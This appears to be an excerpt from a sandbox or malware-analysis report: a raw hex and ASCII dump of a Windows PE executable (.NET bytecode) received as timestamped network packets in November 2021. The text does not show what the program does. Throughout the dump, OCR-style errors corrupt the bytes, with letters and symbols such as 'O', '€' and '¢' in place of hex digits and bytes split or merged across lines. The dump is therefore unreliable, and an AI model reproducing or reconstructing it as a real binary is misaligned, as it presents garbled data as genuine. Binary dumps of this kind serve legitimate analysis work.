Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 dc 3f 01 a9 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
30 00 00 88 01 00 00 Oc 00 00 00 00 00 00 Oa 8f 01 00 00 20 00 00 00 cO 01 00 00 00 40 00 00 20 00 00 00 04 00 00 04 O
000 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 Oe a2 01 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?0 @ @

Data Raw: 01 00 70 72 b5 01 00 70 7e 1e 00 00 Oa 28 1f 00 00 Oa 13 06 2b 38 09 72 bf 01 00 70 72 1b 02 00 70 7e 1e 00
00 Oa 28 1f 00 00 Oa 6f 25 00 00 Oa 2d Oe 11 04 7b 5 00 00 04 28 ed 00 00 06 2b Oc 11 04 7b f5 00 00 04 28 ec 00 00 06
1306 11 06 28 26 00 00 Oa 3a 32 01 00 00 11 06 16 6f 27 00 00 Oa 13 08 12 08 28 28 00 00 Oa 6f 29 00 00 Oa 11 06 16
17 6f 2a 00 00 Oa 28 2b 00 00 Oa 13 06 11 04 7b f5 00 00 04 28 eb 00 00 06 13 07 11 07 28 26 00 00 Oa 3a f2 00 00 00 11
05 11 06 6f 22 01 00 06 11 05 11 07 6f 24 01 00 06 11 05 11 04 fe 06 d8 01 00 06 73 2c 00 00 Oa 7e f8 00 00 04 25 2d 17
26 7e f6 00 00 04 fe 06 df 01 00 06 73 2d 00 00 Oa 25 80 f8 00 00 04 28 02 00 00 2b 6f 26 01 00 06 11 05 11 04 fe 06 d9
01 00 06 73 2e 00 00 Oa 7e f9 00 00 04 25 2d 17 26 7e f6 00

Data Ascii: prp~(+8rprp~(0%-{(+{((&:20'((0)o*(+{((&:0"0$s,~%-&~S-%(+0&S.~%-&~

Data Raw: 25 dO bf 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 6f ad 00 00 06 6f 3b 00 00 Oa 28 41 00 00 Oa 20 40 42 0f 00
6a5b 21 00 91 10 b6 02 00 00 00 59 6f 3a 01 00 06 11 07 11 04 11 05 1a 8d 5a 00 00 01 25 d0 €3 00 00 04 28 37 00 00
0a 73 38 00 00 Oa 6f ad 00 00 06 6f 3b 00 00 Oa 6f 3c 01 00 06 11 07 11 04 11 05 1f Of 8d 5a 00 00 01 25 dO a7 00 00 04
28 37 00 00 Oa 73 38 00 00 Oa 6f ad 00 00 06 08 28 06 00 00 06 6f 3e 01 00 06 11 07 13 06 11 06 6f 39 01 00 06 16 6a 2f
2a 11 06 28 42 00 00 Oa 13 08 12 08 1f Oc 28 43 00 00 Oa 13 08 12 08 28 44 00 00 Oa 21 00 80 b5 7 f5 7f 9f 08 59 6f 3a
01 00 06 de 03 26 de 00 11 06 2d 03 14 2b 07 11 06 28 3d 01 00 06 28 3¢ 00 00 Oa 2d 08 06 11 06 6f 45 00 00 Oa 11 05
17 58 13 05 11 05 11 04 6f ab 00 00 06 3f 31 fe ff ff de 03 26

Data Ascii: %(7s800;(A @Bi[!Y0:Z2%(7s800;0<Z%(7s80(0>09j/*(B(C(D!Y0:&-+(=(<-0EX0?1&

Data Raw: 00 00 Oa Ob 07 28 3a 00 00 Oa 2d 68 09 17 58 0d 2b 94 09 18 33 39 72 ¢7 02 00 70 08 28 4f 00 00 Oa 1f Of 8d
5a 00 00 01 25 d0 c7 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 28 39 00 00 Oa Ob 07 28 3a 00 00 Oa 2d 2e 09 17 58 0d 38
57 ff ff ff 09 19 40 50 ff ff ff 02 1f Of 8d 5a 00 00 01 25 d0 c7 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 28 39 00 00 Oa Ob 07
28 3a 00 00 0a 2c 1b 07 28 ca 00 00 06 28 08 00 00 2b 6f d1 01 00 06 6f d4 01 00 06 Oa de 03 26 de 00 de 03 26 de 00 06
2a 00 00 00 41 34 00 00 00 00 00 00 Ob 01 00 00 18 00 00 00 23 01 00 00 03 00 00 00 Of 00 00 01 00 00 00 00 Oc 00 00
00 1c 01 00 00 28 01 00 00 03 00 00 00 Oa 00 00 01 13 30 02 00 27 00 00 00 08 00 00 11 17 Oa 02 6f 50 00 00 Oa Ob 2b
11 02 6f 50 00 00 Oa Ob 06 17 58 0a 06 18 31 02 07 2a 03 07

Data Ascii: (:-hX+39rp(0OZ%(7s8(9(:-. X8BW@PZ%(7s8(9(:,((+00&&*A4#(0'0P+oPX1*

Data Raw: 6f Oc 00 00 Oa 3a cO fe ff ff de 0a 07 2c 06 07 6f Ob 00 00 Oa dc de 03 26 de 00 06 2a 00 00 00 41 64 00 00 02
00 00 00 7a 00 00 00 de 00 00 00 58 01 00 00 Oe 00 00 00 00 00 00 00 00 00 00 00 3d 00 00 00 2b 01 00 00 68 01 00 00
03 00 00 00 Oa 00 00 01 02 00 00 00 31 00 00 00 47 01 00 00 78 01 00 00 Oa 00 00 00 00 00 00 00 00 00 00 00 06 00 00
00 7e 01 00 00 84 01 00 00 03 00 00 00 Of 00 00 01 1b 30 06 00 c2 01 00 00 0d 00 00 11 73 3f 00 00 Oa Oa 02 1f Oe 8d 5a
00 00 01 25 d0 b6 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 28 39 00 00 Oa Ob 07 28 3a 00 00 Oa 2d 07 06 0d dd 8d 01 00
00 07 73 ac 00 00 06 Oc 08 1f Ob 8d 5a 00 00 01 25 dO ec 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 6f af 00 00 06 26 16 13
04 38 4c 01 00 00 14 13 05 08 11 04 72 03 03 00 70 72 55 03 00

Data Ascii: 0:,0&*AdzX=+h1Gx~0s?Z%(7s8(9(:-sZ%(7s80&8LrprU
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2021-11-18 09:30:37 UTC 3231 IN Data Raw: 00 00 Oa 2d 24 11 Oe 28 3c 00 00 Oa 2d 1b 06 73 4e 01 00 06 25 11 0d 6f 4b 01 00 06 25 11 Oe 6f 4d 01 00 06
6f 3e 00 00 Oa de 03 26 de 00 11 06 17 58 13 06 11 06 11 05 8e 69 3f c3 fe ff ff 11 04 17 58 13 04 11 04 09 8e 69 3f a0 fe
ff ff de 03 26 de 00 06 2a 08 2a 00 00 00 41 34 00 00 00 00 00 00 ae 00 00 00 22 01 00 00 d0 01 00 00 03 00 00 00 Oa 00
00 01 00 00 00 00 06 00 00 00 f0 01 00 00 f6 01 00 00 03 00 00 00 Oa 00 00 01 1e 02 28 62 00 00 Oa 2a c2 02 28 62 00 00
0a 02 28 6d 00 00 Oa 72 3d 04 00 70 72 87 04 00 70 7e 1e 00 00 Oa 28 1f 00 00 Oa 28 39 00 00 Oa 28 da 00 00 06 7d 01
00 00 04 2a 00 00 00 1b 30 01 00 10 00 00 00 00 00 00 00 02 28 1d 00 00 06 de 07 02 28 09 00 00 Oa dc 2a 01 10 00 00
02 00 00 00 08 08 00 07 00 00 00 00 1e 02 7b 01 00 00 04 2a
Data Ascii: -$(<-sN%0K%0Mo>&Xi?Xi?&**A4"(b*(b(mr=prp~((9(}*0((*{*

2021-11-18 09:30:37 UTC 3232 IN Data Raw: 06 73 71 00 00 Oa 7a 07 2a 00 13 30 07 00 37 00 00 00 16 00 00 11 16 Oa 02 03 04 14 16 12 00 16 28 1a 00
00 06 2c 06 73 71 00 00 Oa 7a 06 8d 68 00 00 01 Ob 02 03 04 07 07 8e 69 12 00 16 28 1a 00 00 06 2¢ 06 73 71 00 00 Oa
7a 07 2a 00 13 30 05 00 69 00 00 00 17 00 00 11 16 0a 03 0d 16 13 04 2b 17 09 11 04 9a 13 05 11 05 2c 07 06 11 05 8e
69 58 0a 11 04 17 58 13 04 11 04 09 8e 69 32 €2 06 17 59 17 58 8d 68 00 00 01 Ob 16 Oc 03 0d 16 13 04 2b 25 09 11 04
9a 13 06 11 06 2c 15 11 06 16 07 08 11 06 8e 69 28 78 00 00 Oa 08 11 06 8e 69 58 Oc 11 04 17 58 13 04 11 04 09 8e 69
32 d4 07 2a d2 28 60 00 00 Oa 1f Oc 8d 5a 00 00 01 25 dO ee 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 28 6e 00 00 Oa 02
6f 70 00 00 0a 03 04 28 27 00 00 06 6f 61 00 00 Oa 2a 00 00 1b 30 03 00 1d
Data Ascii: sqz*07(,sqzhi(,sqz*0i+,iXXi2YXh+%,i(xiXXi2*("Z%(7s8(nop(‘0a*0

2021-11-18 09:30:37 UTC 3233 IN Data Raw: 11 02 7b 02 00 00 04 03 6f 09 01 00 06 Oa de 05 26 16 Oa de 00 06 2a 00 00 01 10 00 00 00 00 00 00 Of Of 00
05 0f 00 00 01 1b 30 02 00 16 00 00 00 1c 00 00 11 02 7b 02 00 00 04 03 6f 18 01 00 06 Oa de 05 26 16 Oa de 00 06 2a
00 00 01 10 00 00 00 00 00 00 Of Of 00 05 Of 00 00 01 1b 30 02 00 16 00 00 00 1c 00 00 11 02 7b 02 00 00 04 03 6f Of 01
00 06 Oa de 05 26 16 Oa de 00 06 2a 00 00 01 10 00 00 00 00 00 00 Of Of 00 05 0f 00 00 01 1b 30 02 00 16 00 00 00 1c 00
00 11 02 7b 02 00 00 04 03 6f 0d 01 00 06 Oa de 05 26 16 Oa de 00 06 2a 00 00 01 10 00 00 00 00 00 00 Of Of 00 05 Of 00
00 01 1b 30 02 00 16 00 00 00 1c 00 00 11 02 7b 02 00 00 04 03 6f 10 01 00 06 Oa de 05 26 16 Oa de 00 06 2a 00 00 01
10 00 00 00 00 00 00 Of Of 00 05 0f 00 00 01 1b 30 02 00 16 00
Data Ascii: {0&*0{0&*0{0&*0{0&*0{0&*0

2021-11-18 09:30:37 UTC 3235 IN Data Raw: 2b 2f 12 Ob 28 a4 00 00 Oa 13 Oc 2b 18 06 6f 31 00 00 06 2d 06 73 a2 00 00 Oa 7a 20 €8 03 00 00 28 al 00 00
0a 06 11 05 11 Oc 6f 48 00 00 06 2c dc 12 Ob 28 a5 00 00 Oa 2d c8 de Oe 12 Ob fe 16 1d 00 00 1b 6f Ob 00 00 Oa dc de Oa
06 2c 06 06 6f Ob 00 00 Oa dc de 08 26 28 4c 00 00 06 de 00 2a 00 00 00 41 4c 00 00 02 00 00 00 70 01 00 00 3¢ 00 00
00 ac 01 00 00 Oe 00 00 00 00 00 00 00 02 00 00 00 42 00 00 00 7a 01 00 00 bc 01 00 00 Oa 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 ¢8 01 00 00 c8 01 00 00 08 00 00 00 Of 00 00 01 be 72 93 09 00 70 80 04 00 00 04 72 e5 09 00 70 80 O
500 00 04 72 07 Oa 00 70 80 06 00 00 04 72 09 Oa 00 70 80 07 00 00 04 18 80 08 00 00 04 2a 13 30 05 00 b0 01 00 00
1e 00 00 11 02 28 8b 00 00 06 73 05 02 00 06 Oa 1f Of 8d Oe 00 00 02
Data Ascii: +/(+01-sz (oH,(-0,0&(L*ALp<Bzrprprprp*0(s

2021-11-18 09:30:37 UTC 3236 IN Data Raw: 04 28 b3 00 00 Oa 28 b4 00 00 Oa 28 e1 00 00 06 28 5f 00 00 Oa 28 28 00 00 06 72 eb 08 00 70 7e 1le 00 00 Oa
6f 1f 00 00 Oa 28 b4 01 00 06 2a 46 04 28 b5 00 00 Oa 6f b6 00 00 Oa 28 ce 01 00 06 2a 86 04 28 b7 00 00 Oa 6f b8 00 00
0Oa 6f b9 00 00 Oa 28 bc 01 00 06 04 28 e8 00 00 06 28 ba 01 00 06 2a 13 30 Oc 00 96 00 00 00 00 00 00 00 04 7e 02 01
00 04 2d 24 16 d0 58 00 00 01 28 ba 00 00 Oa dO Oc 00 00 02 28 ba 00 00 Oa 28 bb 00 00 Oa 28 bc 00 00 0a 80 02 01 00
04 7e 02 01 00 04 7b bd 00 00 Oa 7e 02 01 00 04 7e 01 01 00 04 2d 30 16 72 3d Oa 00 70 14 dO Oc 00 00 02 28 ba 00 00
0a 17 8d 8d 00 00 01 25 16 16 14 28 be 00 00 Oa a2 28 bf 00 00 Oa 28 c0 00 00 0a 80 01 01 00 04 7e 01 01 00 04 7b c1
00 00 Oa 7e 01 01 00 04 28 d4 00 00 06 6f c2 00 00 Oa 6f c3 00 00 Oa
Data Asci: ((((L((rp~o(*F(o(*(00(((*0~-$X((((~{~~-0r=p(%(((~{~(00

2021-11-18 09:30:37 UTC 3237 IN Data Raw: 00 00 06 a2 25 17 14 fe 06 74 00 00 06 73 82 00 00 06 a2 25 18 14 fe 06 75 00 00 06 73 82 00 00 06 a2 25 19
14 fe 06 76 00 00 06 73 82 00 00 06 a2 25 1a 14 fe 06 77 00 00 06 73 82 00 00 06 a2 25 1b 14 fe 06 78 00 00 06 73 82 00
0006 a2 25 1c 14 fe 06 7a 00 00 06 73 82 00 00 06 a2 25 1d 14 fe 06 7b 00 00 06 73 82 00 00 06 a2 25 1e 14 fe 06 7c 00
00 06 73 82 00 00 06 a2 25 1f 09 14 fe 06 7d 00 00 06 73 82 00 00 06 a2 25 1f Oa 14 fe 06 7e 00 00 06 73 82 00 00 06 a2
25 1f Ob 14 fe 06 7f 00 00 06 73 82 00 00 06 a2 25 1f Oc 14 fe 06 80 00 00 06 73 82 00 00 06 a2 25 1f 0d 14 fe 06 81 00 00
06 73 82 00 00 06 a2 25 1f Oe 14 fe 06 79 00 00 06 73 82 00 00 06 a2 28 87 00 00 06 1c 8d Oe 00 00 02 25 16 14 fe 06 72
00 00 06 73 82 00 00 06 a2 25 17 14 fe 06 70 00 00 06
Data Ascii: %ts%us%Vvs%ws %xs%zs%{s%|s%}s%~s%s%s%s %ys(%rs%p

2021-11-18 09:30:37 UTC 3239 IN Data Raw: 00 21 00 00 11 73 ac 00 00 Oa Oa 28 de 00 00 06 6f c6 00 00 Oa Ob 2b Of 12 01 28 ¢7 00 00 Oa Oc 06 08 6f c8
00 00 Oa 12 01 28 c9 00 00 Oa 2d e8 de Oe 12 01 fe 16 26 00 00 1b 6f Ob 00 00 Oa dc 28 df 00 00 06 6f c6 00 00 Oa Ob 2b
0f 12 01 28 ¢7 00 00 Oa Od 06 09 6f c8 00 00 Oa 12 01 28 c¢9 00 00 Oa 2d e8 de Oe 12 01 fe 16 26 00 00 1b 6f Ob 00 00 Oa
dc 06 73 96 01 00 06 13 04 11 04 1f Oc 8d 5a 00 00 01 25 dO 9e 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 6f 91 01 00 06
11 04 17 6f 95 01 00 06 11 04 28 7 00 00 06 6f 93 01 00 06 11 04 6f c8 00 00 Oa 04 28 bf 01 00 06 06 6f 78 01 00 06 2a
00 0001 1c 00 00 02 00 11 00 1c 2d 00 Oe 00 00 00 00 02 00 46 00 1c 62 00 Oe 00 00 00 00 46 04 28 bf 01 00 06 28 e0
00 00 06 6f 7e 01 00 06 2a 46 04 28 bf 01 00 06 28 €5 00 00 06
Data Ascii: !s(0+(0(-&0(0+(0(-&0SZ%(7s800(00(0x*-FbF((0~*F((

2021-11-18 09:30:37 UTC 3240 IN Data Raw: f5 00 00 06 2d 03 16 2b 01 17 28 d1 00 00 Oa 13 06 16 13 07 2b 56 11 06 11 07 9a 13 08 06 11 08 6f 24 00 00
0a 73 9f 01 00 06 25 09 11 05 11 08 6f fa 00 00 06 6f a7 01 00 06 25 09 6f f8 00 00 06 28 3¢ 00 00 Oa 2d 08 09 6f f8 00 00
06 2b 07 11 05 6f ef 00 00 06 6f a9 01 00 06 6f d2 00 00 Oa de 03 26 de 00 11 07 17 58 13 07 11 07 11 06 8e 69 32 a2 de
03 26 de 00 11 04 6f Oc 00 00 Oa 3a 5c ff ff ff de Oc 11 04 2¢ 07 11 04 6f Ob 00 00 Oa dc de 03 26 de 00 08 17 58 Oc 08 07
8e 69 3f 26 ff ff ff de 03 26 de 00 06 2a 01 40 00 00 00 00 61 00 46 a7 00 03 Of 00 00 01 00 00 2e 00 8¢ ba 00 03 0a 00 00
01 02 00 20 00 ab ch 00 Oc 00 00 00 00 00 00 13 00 c6 d9 00 03 Oa 00 00 01 00 00 06 00 e5 eb 00 03 0a 00 00 01 1b 30
04 00 c4 01 00 00 28 00 00 11 73 a9 00 00 Oa Oc 08
Data Ascii: -+(+V0$5%00%0(<-0+000&Xi2&0:\,0&Xi?&&*@aF. 0(s

2021-11-18 09:30:37 UTC 3241 IN Data Raw: 6a 2f 72 11 11 6f 23 00 00 Oa 6f 24 00 00 Oa 17 8d 58 00 00 01 25 16 18 8d 5a 00 00 01 25 16 1f 3a 9d 25 17 1f
5c 9d 73 38 00 00 Oa a2 17 6f 4c 00 00 Oa 13 12 06 11 11 6f 24 00 00 Oa 73 9f 01 00 06 25 11 12 2c 07 11 12 8e 69 17 30
07 7e 1e 00 00 0a 2b 04 11 12 17 9a 6f a7 01 00 06 25 11 10 6f a3 01 00 06 6f d2 00 00 Oa 07 11 11 6f d8 00 00 Oa 58 Ob
de 03 26 de 00 11 Oc 6f Oc 00 00 Oa 3a 49 ff ff ff de Oc 11 Oc 2c 07 11 Oc 6f Ob 00 00 Oa dc de 03 26 de 00 08 6f Oc 00 00
0Oa 3a 44 fd ff ff de 0a 08 2c 06 08 6f Ob 00 00 Oa dc de 03 26 de 00 06 2a 41 c4 00 00 00 00 00 00 09 01 00 00 9f 00 00 00
a8 01 00 00 03 00 00 00 0a 00 00 01 02 00 00 00 fb 00 00 00 be 00 00 00 b9 01 00 00 Oc 00 00 00 00 00 00 00 00 00 00
00 e4 00 00 00 €3 00 00 00 c7 01 00 00 03 00 00 00
Data Ascii: j/ro#0$X%Z%:%\s80L0$s%,i0~+0%000X&0:|,0&0:D,0&*A

2021-11-18 09:30:37 UTC 3243 IN Data Raw: 00 00 b0 01 00 00 03 00 00 00 Oa 00 00 01 1e 02 28 fc 00 00 06 2a 13 30 06 00 85 00 00 00 00 00 00 00 02 03
252d 06 26 73 a9 00 00 Oa 73 e1 00 00 Oa 7d Ob 00 00 04 02 28 60 00 00 Oa 20 8c 05 00 00 8d 5a 00 00 01 25 d0 e0 00
00 04 28 37 00 00 Oa 73 38 00 00 Oa 28 4b 00 00 Oa 6f 61 00 00 Oa 18 8d 58 00 00 01 25 16 72 69 0a 00 70 a2 25 17 28
€2 00 00 0a a2 17 6f 4c 00 00 Oa 7e 07 01 00 04 25 2d 17 26 7e 06 01 00 04 fe 06 0d 02 00 06 73 e3 00 00 Oa 25 80 07 0
10004 28 17 00 00 2b 7d Oc 00 00 04 2a 1e 02 28 fc 00 00 06 2a 00 00 00 1b 30 03 00 65 00 00 00 2c 00 00 11 02 7b Oc
00 00 04 6f e4 00 00 Oa Oa 2b 29 06 6f €5 00 00 Oa Ob 04 6f 23 00 00 Oa 6f 24 00 00 Oa 12 01 28 e6 00 00 Oa 6f 25 00 00 O
a 2c 09 03 6f ef 00 00 06 Oc de 2c 06 6f Oc 00 00 Oa 2d cf de Oa
Data Ascii: (*0%-&ss}( Z%(7s8(KoaX%rip% (oL~%-&~s%(+}*(*0e,{o+)00#0$(0%,0,0-
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2021-11-18 09:30:37 UTC 3244 IN Data Raw: 00 Oa 73 38 00 00 Oa 1f 09 8d 5a 00 00 01 25 d0 dc 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 28 e4 00 00 06 6f
2000 00 Oa Oc 38 25 01 00 00 12 02 28 21 00 00 Oa 0d 06 73 f7 00 00 06 13 04 11 04 12 01 28 ea 00 00 Oa 6f f0 00 00 06
1104 17 8d 5a 00 00 01 25 16 1f 2a 9d 73 38 00 00 Oa 6f f4 00 00 06 11 04 09 73 22 00 00 Oa 28 23 00 00 Oa 6f 24 00 00
0Oa 1c 8d 5a 00 00 01 25 dO ac 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 28 2b 00 00 Oa 6f f2 00 00 06 11 04 16 6f f6 00 00
06 11 04 6f €0 00 00 Oa 09 73 22 00 00 Oa 28 23 00 00 Oa 6f 24 00 00 Oa 1c 8d 5a 00 00 01 25 dO ac 00 00 04 28 37 00 00
0a 73 38 00 00 Oa 28 2b 00 00 Oa 28 d4 00 00 Oa 13 05 16 13 06 2b 67 11 05 11 06 9a 13 07 11 07 73 64 00 00 Oa 6f 65
00 00 Oa 6f 83 00 00 Oa 1f 10 33 45 06 73 f7 00 00 06 13 04
Data Ascii: s8Z%(7s8(0 8%(!s(0Z%*s80s"(#0$Z%(7s8(+000s"(#0$Z%(7s8(+(+gsdoeo3Es

2021-11-18 09:30:37 UTC 3245 IN Data Raw: 1e 02 28 fc 00 00 06 2a 1a 7e 1e 00 00 Oa 2a 00 1b 30 08 00 a5 00 00 00 32 00 00 11 73 de 00 00 Oa Oa 06 73
7 00 00 06 Ob 07 72 8f 0a 00 70 28 63 00 00 Oa 72 07 Ob 00 70 7e 1e 00 00 Oa 6f 1f 00 00 Oa 1f 24 8d 5a 00 00 01 25 dO
€8 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 72 1d Ob 00 70 7e 1e 00 00 Oa 28 1f 00 00 Oa 72 ¢7 02 00 70 1e 8d 5a 00 00
01 25 d0 b0 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 28 5f 00 00 Oa 28 39 00 00 Oa 6f f2 00 00 06 07 72 2d Ob 00 70 28 18
00 00 2b 28 19 00 00 2b 73 38 00 00 Oa 6f f4 00 00 06 07 16 6f f6 00 00 06 07 6f €0 00 00 Oa de 03 26 de 00 06 2a 00 00
00 01 10 00 00 00 00 06 00 9a a0 00 03 0a 00 00 01 1e 02 28 fc 00 00 06 2a 1a 7e 1e 00 00 Oa 2a 00 1b 30 07 00 80 00
00 00 33 00 00 11 73 de 00 00 Oa Oa 06 73 f7 00 00 06 25 72 39
Data Ascii: (*~*02ssrp(crp~0$Z%(7s8rp~(rpZ%(7s8(_(9or-p(+(+s8000&*(*~*03ss%r9

2021-11-18 09:30:37 UTC 3247 IN Data Raw: 00 00 04 11 0a 11 0d 58 11 Oe 16 96 58 69 11 Oe 17 96 69 6f f2 00 00 Oa 7d 26 00 00 04 02 7b 13 00 00 04 09
11 06 69 58 8f 2f 00 00 02 02 11 0a 11 0d 58 11 Oe 16 96 58 11 Oe 17 96 58 11 Oe 18 96 58 69 11 Oe 19 96 69 28 b2 00
00 06 7d 27 00 00 04 02 7b Of 00 00 04 17 6a 33 60 02 7b 13 00 00 04 09 11 06 69 58 8f 2f 00 00 02 1f Oc 8d 5a 00 00 01
25 d0 ee 00 00 04 28 37 00 00 Oa 73 38 00 00 Oa 28 6e 00 00 0a 02 7b 10 00 00 04 11 Oa 11 0d 58 11 Oe 16 96 58 11 Oe
17 96 58 11 Oe 18 96 58 11 Oe 19 96 58 69 11 Oe 1a 96 69 6f f2 00 00 Oa 7d 28 00 00 04 38 9e 00 00 00 02 7b Of 00 00 04
18 6a 33 46 02 7b 13 00 00 04 09 11 06 69 58 8f 2f 00 00 02 28 75 00 00 Oa 02 7b 10 00 00 04 11 0a 11 0d 58 11 Oe 16 9
658 11 Oe 17 96 58 11 Oe 18 96 58 11 Oe 19 96 58 69 11 Oe 1a 96
Data Ascii: XXiio}&{iX/XXXXii(}{j3 {iX/Z%(7S8(n{XXXXXiio}(8{3F{iX/(U{XXXXXi

2021-11-18 09:30:37 UTC 3248 IN Data Raw: 06 11 09 58 11 Oe 6a 58 69 11 Oa 11 Of 8f 2e 00 00 02 7b 24 00 00 04 69 6f f2 00 00 Oa a2 38 31 01 00 00 02
7b 0f 00 00 04 18 6a 33 44 02 7b 14 00 00 04 07 08 58 8f 30 00 00 02 7b 29 00 00 04 11 0f 28 75 00 00 Oa 02 7b 10 00 00
0411 06 11 09 58 11 Oe 6a 58 69 11 Oa 11 Of 8f 2e 00 00 02 7b 24 00 00 04 69 6f f2 00 00 Oa a2 38 e3 00 00 00 02 7b Of
00 00 04 19 6a 40 d6 00 00 00 02 7b 14 00 00 04 07 08 58 8f 30 00 00 02 7b 29 00 00 04 11 0Of 28 f3 00 00 Oa 02 7b 10 00
0004 11 06 11 09 58 11 Oe 6a 58 69 11 Oa 11 Of 8f 2e 00 00 02 7b 24 00 00 04 69 6f f2 00 00 Oa a2 38 92 00 00 00 02 7b
14 00 00 04 07 08 58 8f 30 00 00 02 7b 29 00 00 04 11 Of 1f Oc 8d 5a 00 00 01 25 dO ee 00 00 04 28 37 00 00 Oa 73 38 00
00 Oa 28 6e 00 00 0a 02 7b 10 00 00 04 11 06 11 09 58 11
Data Ascii: XjXi.{$i081{j3D{X0{)(u{XjXi.{$io8{j@{X0{)({X]jXi.{$io8{X0{)Z%(7s8(n{X

2021-11-18 09:30:37 UTC 3249 IN Data Raw: 01 00 06 17 8d 58 00 00 01 25 16 72 72 0d 00 70 a2 17 6f 4c 00 00 Oa Oa 73 02 01 00 Oa 06 16 9a 06 17 9a 28
63 00 00 Oa 28 03 01 00 Oa 73 04 01 00 Oa 25 06 17 9a 28 63 00 00 Oa 73 22 00 00 Oa 28 23 00 00 Oa 6f 24 00 00 Oa 6f
05 01 00 Oa 25 06 17 9a 28 63 00 00 Oa 6f 06 01 00 Oa 28 00 01 00 Oa 26 de 05 26 16 Ob de 02 17 2a 07 2a 00 00 00 01
10 00 00 00 00 00 00 68 68 00 05 Of 00 00 01 1e 02 28 62 00 00 Oa 2a 16 03 16 fe 01 2a 00 00 1b 30 05 00 3c 00 00 00 3
d 00 00 11 03 6f ac 01 00 06 17 8d 58 00 00 01 25 16 72 72 0d 00 70 a2 17 6f 4c 00 00 Oa Oa 06 17 9a 28 63 00 00 Oa 73
02 01 00 Oa 06 16 9a 28 07 01 00 Oa 28 08 01 00 Oa de 03 26 de 00 17 2a 01 10 00 00 00 00 00 00 37 37 00 03 Oa 00 00
01 1e 02 28 62 00 00 Oa 2a 16 03 19 fe 01 2a 00 00 1b 30 01 00 13 00
Data Ascii: X%rrpoLs(c(s%(cs"(#0$0%(co(&&**hh(b**0<=0X%rrpoL(cs((&*77(b**0

2021-11-18 09:30:37 UTC 3251 IN Data Raw: 02 8c 42 00 00 02 28 23 01 00 0a 6f 24 01 00 0a 0a 16 Ob 2b 5b 06 07 %a Oc 08 6f 25 01 00 Oa d0 58 00 00 01
28 ba 00 00 0a 28 26 01 00 0a 2¢ 3c 08 02 8¢ 42 00 00 02 14 6f 27 01 00 Oa 75 58 00 00 01 28 3¢ 00 00 0a 2c¢ 23 08 02 8¢
420000 02 1d 8d 5a 00 00 01 25 d0 a2 00 00 04 28 37 00 00 0a 73 38 00 00 Oa 14 6f 28 01 00 0a 07 17 58 Ob 07 06 8e
69 32 9f 2a ae 7e 16 00 00 04 25 2d 22 26 73 29 01 00 Oa 25 20 ff ff ff 7f 6 2a 01 00 0a 25 20 ff ff ff 7f 6f 2b 01 00 Oa 25
80 16 00 00 04 2a 00 1b 30 02 00 22 00 00 00 43 00 00 11 28 cf 00 00 06 02 6f 3b 00 00 Oa 6f 22 00 00 2b Oa de 0d 26 12
01 fe 15 32 00 00 1b 07 0a de 00 06 2a 00 00 01 10 00 00 00 00 00 00 13 13 00 0d Of 00 00 01 32 28 cf 00 00 06 02 6f 2d
01 00 0a 2a 00 00 00 13 30 03 00 4a 00 00 00 44 00 00
Data Ascii: B#0$+[0%6X((& <BO'UX(< #BZ%(7s80(Xi2*~%-"&S)% 0*% 0+%6+0"C(0;0"+&2*2(0-*0JD

2021-11-18 09:30:37 UTC 3252 IN Data Raw: 54 01 00 Oa 6f 86 00 00 Oa Oc de 31 06 6f Oc 00 00 Oa 2d bb de 0a 06 2c 06 06 6f Ob 00 00 Oa dc 72 b2 0d 00
70 20 98 3a 00 00 28 d9 00 00 06 Oc de Ob de 03 26 de 00 72 2b 02 00 70 2a 08 2a 01 1c 00 00 02 00 8a 00 49 d3 00 Oa
00 00 00 00 00 00 00 00 f1 f1 00 03 0f 00 00 01 1b 30 03 00 48 00 00 00 4a 00 00 11 02 28 57 01 00 Oa 25 03 6f 58 01 00
0Oa 6f 59 01 00 Oa 6f 5a 01 00 Oa 0a 06 73 5b 01 00 Oa Ob 07 6f 18 01 00 Oa 6f 3b 00 00 Oa Oc de 19 07 2¢ 06 07 6f Ob 00
00 Oa dc 06 2c 06 06 6f Ob 00 00 Oa dc 26 14 Oc de 00 08 2a 01 28 00 00 02 00 1f 00 Oe 2d 00 Oa 00 00 00 00 02 00 18 00
1f 37 00 Oa 00 00 00 00 00 00 00 00 41 41 00 05 0f 00 00 01 6e 02 dO 32 00 00 1b 28 ba 00 00 Oa 28 5¢c 01 00 Oa 75 32
00 00 1b a5 32 00 00 1b 2a 13 30 07 00 db 00 00 00 00 00 00 00
Data Ascii: Tolo-,0rp :(&r+p**I0HJ(W%0X0Y0Zs[00;,0,0&*(-7AAN2((\u22*0

2021-11-18 09:30:37 UTC 3253 IN Data Raw: 00 Oa dc de 0a 07 2c 06 07 6f Ob 00 00 Oa dc de Oa 06 2c 06 06 6f Ob 00 00 Oa dc de 03 26 de 00 7e 1e 00 00
0a 2a 11 04 2a 00 01 40 00 00 00 00 36 00 14 4a 00 03 Oa 00 00 01 02 00 28 00 2f 57 00 Oa 00 00 00 00 02 00 21 00 42
